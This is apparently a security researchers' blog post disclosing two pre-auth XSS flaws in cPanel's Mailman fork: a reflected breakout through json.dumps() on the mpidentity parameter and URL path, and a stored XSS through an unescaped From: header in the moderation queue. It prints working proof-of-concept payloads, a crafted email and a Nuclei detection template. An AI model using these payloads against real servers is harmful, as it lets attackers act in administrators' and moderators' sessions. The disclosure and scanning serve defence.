All posts

Two cPanel Zero Day Vulnerabilities

Two pre-auth XSS zero-days in cPanel's bundled Mailman fork: a reflected script-context breakout via json.dumps(), and a stored XSS in the moderator queue.

cPanel quietly runs an enormous slice of the web. Pick a cheap shared-hosting plan from any provider on the internet and you will almost certainly be logging into cPanel & WHM to manage it: millions of small business sites, mailing lists, and personal domains live behind its CGI scripts. For a footprint that large, public security research on cPanel is surprisingly thin, which is part of why it caught our attention.

Neither of us had worked on cPanel before, but one day we decided to go after WebPros' flagship product. We didn't know their bug-handling procedure beforehand. We'd assumed they issued a reasonable bounty alongside a CVE, because we had previously seen Assetnote's blog and had a vague impression in mind. So we started, and within a few days we had several 0-days.

We reported one of them to cPanel, and surprisingly, they offered a $150 bounty and no CVE. We even offered to skip the bounty if they'd assign CVEs for the rest of the bugs instead. For an enterprise company of their size, that's disappointing, and it gives the distinct vibe that cPanel is not eager to protect its customers. We will never work on them again; if we could go back, we wouldn't work on them at all. No bounty but a CVE would have been fine. This was neither.

Still, the customers running these servers deserve to know what is sitting on them, and this post is the closest thing to a public advisory the bugs will get.

Today we want to walk through the procedure of uncovering two of those vulnerabilities, so follow the rest of the post for the technical stuff.

Discovery

cPanel & WHM is huge, so we picked one rule to narrow it down: only look at what's reachable pre-auth on default configurations. Our target was cPanel & WHM 11.134.0.13 on AlmaLinux 8.

One path stood out right away: /mailman/. cPanel bundles its own fork of GNU Mailman for mailing lists, cpanel-mailman-2.2.0.42-1.cp130, the feature is on by default, and it serves a handful of CGI pages with no login required.

That was an easy target for two reasons. It's a fork, so it has drifted away from upstream's security fixes over the years. And it's Mailman 2.x: old Python CGI that builds HTML by gluing strings together, with no autoescaping anywhere. That's exactly where XSS hides.

So we didn't fuzz it. We pulled the cpanel-mailman package off the box and read the code. On the first pass we found two bugs, one reflected and one stored, both pre-auth.

Bug 1: Reflected XSS on Every Mailman Page

The first bug is the kind you almost feel bad about, because it is too easy. One query parameter, no authentication, and it fires on every single Mailman page, including the admin login page.

A parameter gets reflected inside an inline <script> block, serialized through json.dumps(). json.dumps() escapes the double quotes, so you can't break out of the JSON string the obvious way. But it does not escape the forward slash, so a </script> walks straight out of the script context and into fresh HTML. That's the whole bug, and this URL pops an alert:

http://target.tld/mailman/listinfo?mpidentity=%3C/script%3E%3Csvg/onload=alert(document.domain)%3E

cPanel does not ship stock Mailman. They bolt their own things on top of it. One of those things is a Mixpanel analytics module, MixpanelAnalytics.py, that injects a tracking snippet into the page footer. The footer include lives at htmlformat.py:687, and it runs on basically every standard Mailman template, so that analytics block is everywhere.

The module reads a parameter called mpidentity straight from the query string:

def existingIdentity():
    qs = os.environ.get('QUERY_STRING')
    parsed = urllib.parse.parse_qs(qs)
    if parsed:
        identity = parsed.get('mpidentity')
        if identity:
            return identity
    return None

parse_qs URL-decodes the value, so whatever we put in the URL comes back as a clean string. That string goes straight into a dictionary:

pageData['identity'] = existingIdentity()   # attacker-controlled

And the whole pageData dictionary is serialized and dropped inside an inline <script> block:

<script type="text/javascript">
...
(function() {
    var pageData = ''' + json.dumps(pageData) + ''';

So our </script> lands here untouched, and the response comes back with the script context already broken open:

<script type="text/javascript">
...
    var pageData = {"allowConsentGathering": true, "isDevEnvironment": false,
                    "identity": ["</script><svg/onload=alert(document.domain)>"],
                    "path": {"isAdmin": false, "section": "N/A"}};

The browser hits </script>, closes the block, and runs our <svg onload>.

And while we were there we found a second way into the same json.dumps() call. cleansedPathInfo() builds pageData['path']['section'] from the request URI with a regex, so if you put the payload in the URL path instead of the query string, it still lands unescaped in the same serialized JSON:

"section": "</script><img src=x onerror=alert(document.domain)>"

Same sink, different source.

Impact

The obvious impact is hijacking the Mailman admin's session. But the more interesting point is that this is reflected XSS running on the host's main web ports 80 and 443, not some isolated admin panel. That means it can be chained against the main website's functionality, not just Mailman: anything served from the same origin is in scope for whatever the payload decides to do.

Bug 2: Stored XSS in the Moderation Queue

The second bug is a stored one, and it is almost funny how small it is: a single missing function call.

When someone creates a mailing list, their email becomes the list admin, shown at /mailman/admin. Posts from non-members don't go out right away; they wait in that admin's moderation queue for approval. So the way in is simple: grab the admin address from that page, email the list, and your message lands in their queue. No account, no subscription, nothing.

The moderator reviews that queue in admindb.py. The function show_post_requests() builds the detail view for a single held message, and it renders every header of that message back onto the page. Look at how careful it is:

hdrtxt = NL.join(['%s: %s' % (k, v) for k, v in list(msg.items())])
hdrtxt = Utils.websafe(hdrtxt)                              # headers: escaped
t = Table(cellspacing=0, cellpadding=0, width='100%')
t.AddRow([Bold(_('From:')), sender])                        # <-- NOT escaped
t.AddRow([Bold(_('Subject:')),
          Utils.websafe(Utils.oneline(subject, lcset))])    # subject: escaped

Utils.websafe() is Mailman's HTML escaper. The header blob is escaped. The subject is escaped. And then, right in the middle, the From: field, sender, goes onto the page raw. Every other place in this same file that renders sender escapes it properly; line 779 is the only one that forgot.

And sender is just the From: header of the queued email; parsed by Python's email library, pickled into requests.db when the message was held, and fully attacker-controlled, since From: is just a field you set. Put HTML in it and it renders raw:

From: "<script>alert(document.cookie)</script>"@attacker.com
To: testxss@localhost
Subject: Innocent looking subject
Date: Sat, 05 Apr 2026 12:00:00 +0000

Hello, please approve this message.

There's no clever delivery here; it's just an email. You send this message to the list address over plain SMTP, the same way any mail reaches the list. Because it comes from a non-member it drops into the moderation queue, and even if the list's spam filtering flags it, a flagged message is still shown to the moderator for review. That review page is where it fires, the moment the moderator opens the held message:

GET /mailman/admindb/testxss?msgid=6 HTTP/1.1
Host: target.tld

the response hands their browser this:

<td>"<script>alert(document.cookie)</script>"@attacker.com</td>

and the script runs in the moderator's authenticated session.

Impact

The admin session cookie is set HttpOnly, so the naive "steal the cookie" path doesn't work here; script can't read it. The real impact is that the payload runs inside the moderator's authenticated session, so it can act with the moderator's privileges while they're logged in.

Wrap-up

Both bugs come from the same simple mistake: untrusted input handed to code that wasn't meant to handle it. json.dumps() escaped the quotes but let </script> through, because it's a serializer, not an HTML escaper. And in the moderation queue, one line just forgot to call the escaper that every line around it remembered. There was nothing clever here. We didn't fuzz anything; we read the source, and the bugs were already sitting there in a fork that ships to a lot of servers. These two probably aren't the only ones; they're just the ones we stopped to write down.

Takeaway

If you run cPanel and Mailman is on, you can scan for Bug 1 in seconds. We turned the reflection into a Nuclei template and shipped it as a PR against the public repo: projectdiscovery/nuclei-templates#16233.

id: cpanel-mailman-xss

info:
  name: cPanel Mailman - Reflected Cross-Site Scripting
  author: yshahinzadeh,amirmsafari
  severity: high
  description: |
    cPanel Mailman listinfo reflects the `mpidentity` query parameter into the HTML response without proper output encoding, resulting in reflected cross-site scripting. A WAF bypass may be required depending on the deployment.
  classification:
    cwe-id: CWE-79
  tags: cpanel,mailman,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/mailman/listinfo?mpidentity=randomtest"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "randomtest"
          - "mailman"
          - "gnu-head-tiny"
        condition: and

      - type: status
        status:
          - 200

A note on the probe. The template fires on a plain randomtest, not on a real payload. That is deliberate. Most cPanel Mailman deployments in the wild sit behind a WAF or CDN, and a probe containing HTML-breaking characters gets stripped or 403'd before it ever reaches Mailman, which means a payload-based template would fire on almost nothing; including the hosts that are actually exploitable. A harmless sentinel that simply confirms mpidentity is reflected, plus the Mailman fingerprints (gnu-head-tiny, mailman), is enough to identify an affected host without throwing an exploit at it.

We ran this template across many bug bounty programs whose targets run cPanel and Mailman. The bounties we collected from those programs dwarfed the $150 cPanel paid us for the same bug. Many times over.